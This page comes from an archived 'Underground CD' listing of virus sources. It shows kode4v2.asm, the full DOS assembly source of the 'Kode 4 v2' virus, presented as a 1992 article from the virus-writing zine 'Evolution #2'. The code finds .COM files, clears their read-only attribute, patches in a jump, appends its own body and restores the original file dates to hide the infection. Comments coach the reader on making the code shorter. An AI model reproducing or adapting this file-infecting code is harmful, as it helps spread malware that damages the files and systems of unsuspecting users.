home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / k / kode4v2.asm < prev   
Encoding:
Assembly Source File  |  1998-01-14  |  6.9 KB  |  192 lines

  1. ─────────═════════>>> Article From Evolution #2 - YAM '92
  2.  
  3.  
  4.  
  5. Article Title: Kode 4 v2 Virus
  6.  
  7. Author: Soltan Griss
  8.  
  9.  
  10.  
  11.  
  12.  
  13. seg_a           segment byte public
  14.  
  15.                 assume  cs:seg_a, ds:seg_a
  16.  
  17.  
  18.  
  19.  
  20.  
  21.                 org     100h
  22.  
  23. V_Length        equ     vend-vstart
  24.  
  25. KODE4           proc    far       
  26.  
  27. start           label   near            
  28.  
  29.                 db      0E9h,00h,00h
  30.  
  31.             
  32.  
  33.                 
  34.  
  35. vstart          equ     $
  36.  
  37.                 
  38.  
  39.                 mov     si,100h                 ;get si to point to 100
  40.  
  41.                 mov     di,102h                 ;get di to point to 102
  42.  
  43. lback:          inc     di                      ;increment di
  44.  
  45.                 mov     ax,word ptr [si]        ;si is ponting to ax
  46.  
  47.                 cmp     word ptr [di],ax        ;compare ax with di loc
  48.  
  49.                 jne     lback                   ;INE go back and inc di
  50.  
  51.                                                 
  52.  
  53.  
  54.  
  55.                 mov     ax,word ptr [si+1]
  56.  
  57.                 cmp     ax,word ptr [di+1]
  58.  
  59.                 je      lout
  60.  
  61.                 jmp     lback
  62.  
  63.  
  64.  
  65. lout:           add     di,3h                   ;jmp stored in the end
  66.  
  67.                 sub     di,(v_length+100h)      ;+3 to get to end and -
  68.  
  69.                 mov     si,di                   ;
  70.  
  71. ;**********************************************************************
  72.  
  73. ;*
  74.  
  75. ;*  The above code can be re-written as follows...
  76.  
  77. ;*  The above idea, although it works is very long in code....
  78.  
  79. ;*  when DOS does a load and execute it pushes all registers the last
  80.  
  81. ;*  register to be pushed contains the file length. so just subtract
  82.  
  83. ;*  the current location
  84.  
  85. ;**********************************************************************
  86.  
  87. ;
  88.  
  89. ;
  90.  
  91. ;
  92.  
  93. ;Host_Off:       pop     bp
  94.  
  95. ;                sub     bp,offset host_off
  96.  
  97. ;                mov     si,bp
  98.  
  99. ;
  100.  
  101. ;*** Before opening any file copy the original three bytes back to 100h
  102.  
  103. ;*** Because they will get overwritten when you check any new files
  104.  
  105.                 lea     di,temp_buff
  106.  
  107.                 add     di,si
  108.  
  109.                 mov     ax,word ptr [di]
  110.  
  111.                 mov     cl,byte ptr [di+2]
  112.  
  113.                 mov     di,100h
  114.  
  115.                 mov     word ptr [di],ax
  116.  
  117.                 mov     byte ptr [di+2],cl
  118.  
  119.  
  120.  
  121.  
  122.  
  123.                 mov     ah,4Eh             ;Find first Com file
  124.  
  125.                 mov     dx,offset filename  ; offset of "*.com"     
  126.  
  127.                 add     dx,si
  128.  
  129.                 int     21h                
  130.  
  131.                 jnc     back
  132.  
  133.                 jmp     done                         
  134.  
  135. Back:                                       
  136.  
  137.                 mov     ah,43h              ;get rid of read only
  138.  
  139.                 mov     al,0
  140.  
  141.                 mov     dx,9eh
  142.  
  143.                 int     21h
  144.  
  145.                 mov     ah,43h
  146.  
  147.                 mov     al,01
  148.  
  149.                 and     cx,11111110b
  150.  
  151.                 int     21h
  152.  
  153.                 
  154.  
  155.                 mov     ax,3D02h           ;Open file for read/writing
  156.  
  157.                 mov     dx,9Eh             ;get file name from file DTA
  158.  
  159.                 int     21h
  160.  
  161.                 jnc     next                              
  162.  
  163.                 jmp     done
  164.  
  165. next:           mov     bx,ax               ;save handle in bx
  166.  
  167.                 mov     ah,57h              ;get time date
  168.  
  169.                 mov     al,0
  170.  
  171.                 int     21h
  172.  
  173.                 
  174.  
  175.                 push    cx                  ;put in stack for later
  176.  
  177.                 push    dx
  178.  
  179.  
  180.  
  181.                 mov     ax,4200h        ; Move ptr to start of file
  182.  
  183.                 xor     cx,cx
  184.  
  185.                 xor     dx,dx
  186.  
  187.                 int     21h
  188.  
  189.                                 
  190.  
  191.                 
  192.  
  193.                 mov     ah,3fh                ;load first 3 bytes
  194.  
  195.                 mov     cx,3
  196.  
  197.                 
  198.  
  199.                 mov     dx,offset temp_buff 
  200.  
  201.                 add     dx,si
  202.  
  203.                 int     21h
  204.  
  205.         
  206.  
  207.                 xor     cx,cx       ;move file pointer to end of file
  208.  
  209.                 xor     dx,dx
  210.  
  211.                 mov     ax,4202h
  212.  
  213.                 int     21h
  214.  
  215.                 sub     ax,3                    ; Fix for real location
  216.  
  217.                 push    ax
  218.  
  219.               ; nop                             ;
  220.  
  221.               ; nop                             ; used for debugging
  222.  
  223.               ; nop                             ;
  224.  
  225.               ; nop                             ;
  226.  
  227.               ; nop
  228.  
  229.                 
  230.  
  231.                 mov     di,offset temp_buff
  232.  
  233.                 add     di,si
  234.  
  235.                 mov     word ptr [j_code2+si],ax; Save two bytes in a 
  236.  
  237.                                                 ; word [jumpin]
  238.  
  239.  
  240.  
  241.                 cmp     byte ptr [di],0e9h  ;look for a jmp at begining
  242.  
  243.                 jne     infect
  244.  
  245.  
  246.  
  247.                 mov     cx,word ptr [di+1]  ;check for XXX bytes at end
  248.  
  249.                 pop     ax
  250.  
  251.                 sub     ax,v_length
  252.  
  253.                 cmp     ax, cx              ; jump (id string to check)
  254.  
  255.                 jne     infect
  256.  
  257.                 jmp     finish
  258.  
  259.  
  260.  
  261.  
  262.  
  263.  
  264.  
  265. infect:      
  266.  
  267.                 
  268.  
  269.                 xor     cx,cx           ;move file pointer to begining 
  270.  
  271.                 xor     dx,dx           ;to write jump
  272.  
  273.                 mov     ax,4200h
  274.  
  275.                 int     21h
  276.  
  277.  
  278.  
  279.                 mov     ah,40h           ;write jump in first 3 bytes
  280.  
  281.                 mov     cx,3
  282.  
  283.                 mov     dx, offset j_code1
  284.  
  285.                 add     dx,si
  286.  
  287.                 int     21h
  288.  
  289.  
  290.  
  291.                 xor     cx,cx       ;move file pointer to end of file
  292.  
  293.                 xor     dx,dx
  294.  
  295.                 mov     ax, 4202h
  296.  
  297.                 int     21h
  298.  
  299.  
  300.  
  301.                 mov     dx,offset vstart    
  302.  
  303.                 add     dx,si            ;Start writing at top of virus
  304.  
  305.                 mov     cx,(vend-vstart)   ; Set for length of virus
  306.  
  307.                 mov     ah,40h             ;Write Data into the file
  308.  
  309.                 int     21h                   
  310.  
  311.  
  312.  
  313.  
  314.  
  315. Finish:         pop     dx                 ;Restore old dates and times 
  316.  
  317.                 pop     cx
  318.  
  319.                 mov     ah,57h
  320.  
  321.                 mov     al,01h
  322.  
  323.                 int     21h
  324.  
  325.  
  326.  
  327.                 mov     ah,3Eh             ;Close the file
  328.  
  329.                 int     21h                   
  330.  
  331.                 
  332.  
  333.                 mov     ah,4Fh             ;Find Next file
  334.  
  335.                 int     21h                    
  336.  
  337.                 jc      done
  338.  
  339.                 jmp     back
  340.  
  341.                 
  342.  
  343. done:
  344.  
  345.                 mov     bp,100h
  346.  
  347.                 jmp     bp
  348.  
  349.  
  350.  
  351.  
  352.  
  353. filename        db      "*.com",0                     
  354.  
  355. DATA            db      " -=+ Kode4 +=-, The one and ONLY!$"
  356.  
  357.  
  358.  
  359. j_code1         db      0e9h 
  360.  
  361. j_code2         db      00h,00h
  362.  
  363. temp_buff       db      0cdh,020h,090h  ; CD 20 NOP
  364.  
  365. kode4           endp    
  366.  
  367.  
  368.  
  369. vend            equ     $
  370.  
  371.  
  372.  
  373. seg_a           ends
  374.  
  375.  
  376.  
  377.                 end     start
  378.  
  379.  
  380.  
  381.  
  382.  
  383.